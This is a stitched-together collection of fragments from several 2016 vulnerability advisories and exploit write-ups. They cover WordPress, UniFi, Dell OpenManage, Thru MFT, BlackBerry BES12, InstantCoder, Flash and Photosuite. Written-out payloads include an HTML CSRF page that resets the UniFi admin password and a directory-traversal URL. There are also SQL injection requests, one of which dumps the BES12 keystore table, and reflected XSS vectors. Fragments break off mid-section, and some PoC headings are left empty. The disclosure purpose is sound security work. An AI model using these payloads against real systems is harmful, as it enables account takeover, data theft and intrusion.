* Exploit Title: Extra User Details [Privilege Escalation]
* Discovery Date: 2016-02-13
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://vadimk.com/
* Software Link: https://wordpress.org/plugins/extra-user-details/
* Version: 0.4.2
* Tested on: WordPress 4.4.2
* Category: WebApps, WordPress
Description
-----------
_Extra User Details_ plugin for WordPress suffers from a Privilege
Escalation
vulnerability.
The plugin hooks the `eud_update_ExtraFields` function to `profile_update`
WordPress action. This function doesn't properly check user capabilities
and
updates all meta information passed to post data. The only condition is
that
the post variable name has the `eud` prefix which is striped before
updating
the values in DB.
An attacker can exploit this misbehavior to update the
{prefix}\_capabilities
meta information to gain administrative privileges.

RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
-----------------------
Product: Ubiquiti Networks UniFi
Vendor URL: www.ubnt.com
Type: Cross-Site Request Forgery [CWE-353]
Date found: 2015-03-19
Date published: 2016-02-23
CVSSv3 Score: 6.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L)
CVE: -
2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
--------------------
UniFi v3.2.10
older versions may be affected too.
4. INTRODUCTION
---------------
The UniFi® Controller software is a powerful, enterprise wireless software
engine ideal for high-density client deployments requiring low latency and
high uptime performance. A single UniFi Controller running in the cloud
can manage multiple sites: multiple, distributed deployments and
multi-tenancy for managed service providers.
(from the vendor's homepage)
5. VULNERABILITY DESCRIPTION
----------------------------
A generic Cross-Site Request Forgery protection bypass vulnerability was
identified in UniFi v3.2.10 and prior.
The application uses a CSRF protection, which is based on verifying the
Referer header, but does not catch the case where the Referer header
is completely missing.
This leads to a generic CSRF protection bypass, resulting in all
application specific functionalities becoming vulnerable. An attacker needs
to trick the victim to visit an arbitrary website in order to exploit the
vulnerability. Successful exploits can allow the attacker to compromise the
whole application including connected devices, e.g. by changing passwords
of users, adding new users, changing device usernames and passwords or by
creating new WLAN configurations.
6. PROOF-OF-CONCEPT
-------------------
The following PoC changes the password of the user "admin" to "csrfpwd":
<html>
<head>
<script>
function load() {
var postdata = '<form id=csrf method=POST enctype=\'text\/plain\' action=\'https://127.0.0.1:8443/api/s/default/cmd/sitemgr\'>' +
'<input type=hidden name=\'json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40mail.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D\' value=\'\' />' +
'</form>';
top.frames[0].document.body.innerHTML=postdata;
top.frames[0].document.getElementById('csrf').submit();
}
</script>
</head>
<body onload="load()">
<iframe src="about:blank" id="noreferer">< /iframe>
</body>
</html>
7. SOLUTION
-----------

# Exploit Title: Dell OpenManage Server Administrator 8.2 Authenticated
Directory Traversal
# Date: February 22, 2016
# Exploit Author: hantwister
# Vendor Homepage: http://www.dell.com/
# Software Link:
http://www.dell.com/support/contents/us/en/19/article/Product-Support/Self-support-Knowledgebase/enterprise-resource-center/Enterprise-Tools/OMSA
# Version: 8.2
# Tested on: Windows 7 x64
When authenticated as an admin, make the following adjustments to the URL
below:
1) Substitute "<IP>" for the target;
2) Substitute "Windows\WindowsUpdate.log" for the desired file;
3) Substitute the value of the vid parameter and the folder name preceding
"/ViewFile" with the vid parameter from your current session.
https://
<IP>:1311/0123456789ABCDEF/ViewFile?path=\temp&file=hello\..\..\..\..\..\..\..\..\Windows\WindowsUpdate.log&vid=0123456789ABCDEF
In the file parameter, "hello" can be changed to any other name; the folder
need not exist. However, the file parameter must not start with a common
file path separator, nor a dot character.
The path parameter should not be changed; the provided value is essential
to bypassing a security control.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
Thru Managed File Transfer Portal is a web based file transfer application.
According to the Thru website [1], the application aims to offload large
file transfer to a single platform, to protect files, to replace FTP
servers and to allow access to files anytime, anywhere.
An SQL injection vulnerability was identified in one of the GET request.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The SQL injection vulnerability was found in a GET request that causes
contact data to be sorted. At least the attribute values of sortorder
and letterrange are not correctly sanitized and therefore can be abused
to inject arbitrary SQL statements.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The following HTTP request can be used to show that the SQL statement
causing a delay is executed and results in a 500 server error:
GET /App/asp///contacts.asp?sortorder=1;WAITFOR+DELAY+'0:0:5'--&letterrange=all&fromrec=0&torec=20 HTTP/1.1
Host: [HOST]
Cookie: [COOKIES]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
The reported security vulnerability has been fixed in a new software
release. Update to the new software version.

BlackBerry Enterprise Service 12 (BES12) Self-Service
Affected versions: BES12 < 12.4
CVE: CVE-2016-1914 and CVE-2016-1915
PDF:
http://security-assessment.com/files/documents/advisory/Blackberry%20BES12%20Self-Service%20Multiple%20Vulnerabilities.pdf
+-----------+
|Description|
+-----------+
Blackberry BES12 is an enterprise mobile management solution and
contains a self-service web application available to mobile users. This
web application contains multiple vulnerabilities including
unauthenticated SQL
injection and reflected cross site scripting.
Limited access to an on-premise BES12 environment was provided during
the discovery of these vulnerabilities. The full impact of the
vulnerabilities in relation to compromising other portions of the BES12
solution, such as mobile devices, is unclear.
+------------+
|Exploitation|
+------------+
*SQL Injection*
The Java servlet com.rim.mdm.ui.server.ImageServlet is vulnerable to SQL
injection via the imageName parameter. This servlet is exposed at
multiple paths and is used to fetch an image from the database:
/mydevice/client/image
/admin/client/image
/myapps/client/image
/ssam/client/image
/all/client/image
This was discovered on a production BES12 on-premise deployment and the
injection vector allowed both UNION and stacked queries to be executed
on the Microsoft SQL server used by BES12. This allows full read/write
access to the database, and can potentially result in command execution
via xp_cmdshell depending on the database user configuration.
The following proof of concept demonstrates an injection payload which
will select the entire obj_keystore_entry table. The query will
serialise the entire table into an XML document which is returned in the
HTTP response as UTF-16 without the leading BOM (byte order mark)
causing most text editors to fail to display the response correctly.
https://<server>/mydevice/client/image?imageName=ui.cobranded.login.logo'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,(SELECT+*+FROM+obj_keystore_entry+FOR+XML+PATH(''))+--
The technique above can be used to download any database table available
to the BES12 database user.
Notable database tables are:
* obj_user which contains BES12 user details.
* obj_user_authentication which contains authentication tokens.
* obj_user_device which based on column names, contains enrolment
tokens, enrolment secrets and device encryption keys.
It is unclear if this information is sufficient to decrypt a lost/stolen
BES12 mobile device.
*Reflected Cross Site Scripting*
Two areas of the self-service web application exist where user-supplied
input is reflected directly in web pages, allowing a malicious user to
conduct Cross Site Scripting (XSS) attacks against users of the
application. While the application uses the HttpOnly cookie flag for
session tokens, successful exploitation allows malicious JavaScript to
perform any action within the application that the targeted user is able
to. The administrative web application is typically hosted on the same
domain and may be attacked using these XSS vectors, although this is
BES12 deployment specific.
The table below details where Cross Site Scripting was detected and
which parameters are vulnerable:
https://<server>/mydevice/index.jsp?locale="><script>alert(1)</script>
https://<server>/mydevice/loggedOut.jsp?locale="><script>alert(1)</script>

Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official InstantCoder v1.0 iOS mobile web-application (wifi).
The file include vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path
commands to compromise the mobile web-application.
The web vulnerability is located in the `filename` value of the `./toolkit/upload` module. Remote attackers are able to inject own
files with malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local
file/path include execution occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to
inject the lfi payload by usage of the wifi interface or local file sync function.
Attackers are also able to exploit the filename issue in combination with persistent injected script code to execute different malicious
attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST.
The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4.
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] ./toolkit/upload
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index File Dir Listing (http://localhost:8080/)
1.2
A directory traversal web vulnerability has been discovered in the official InstantCoder v1.0 iOS mobile web-application (wifi).
The vulnerability allows remote attackers to unauthorized access path variables to compromise the web-application or mobile device.
The directory traversal web vulnerability is located in the `path` value of the `listFiles` module. Remote attackers are able to
manipulate the path variable GET or POST method request to compromise the application. The request method to inject the payload is
POST and the request method to execute is GET. The attack vector of the vulnerability is located on the application-side. The path
variable is not encoded or parsed. Thus allows an attacker to inject to unauthorized access the local system or app path.
The security risk of the path traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.0.
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application (wifi ui) user account.
Successful exploitation of the path traversal vulnerability results in mobile application compromise or compromise of connected device components.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] ./listFiles
Vulnerable Parameter(s):
[+] path
Affected Module(s):
[+] Index File Dir Listing (http://localhost:8080/)
Proof of Concept (PoC):

There is a type confusion vulnerability in the SimpleButton constructor. Flash stores an empty button to use to create buttons for optimization reasons. If this object is created using a SWF tag before it is created in the Button class, and it not of type Button, type confusion can occur.
A SWF needs to be altered in a hex editor to reproduce this issue. To start, build button.fla. This is a swf with the code:
var sb = new SimpleButton();
and a font attached. Decompress the swf using flasm -x button.swf, and then replace all occurrences of the font ID (0x0001) in the three tags that use it with the ID of the empty button object (0xfff6).
When the button is created, the font will be type confused with a button.

Severity Level:
===============
Medium
Technical Details & Description:
================================
A GET cross site scripting web vulnerability has been discovered in the official Netlife Photosuite Pro Content Management System.
A vulnerability allows remote attackers to inject malicious script codes on the client-side of the affected web-application.
The vulnerability is located in the `title` input field of the `work/upload.php` file. Remote attackers are able to inject own
malicious script codes to the client-side of the affected web-application. The request method to inject is POST and the attack
vector is client-side. The attacker injects the payload in the vulnerable input field to execute the code in view.php.
The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the non-persistent cross site scripting web vulnerability requires low privileged web-application user account and low user interaction.
Successful exploitation results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent
manipulation of affected or connected module context.
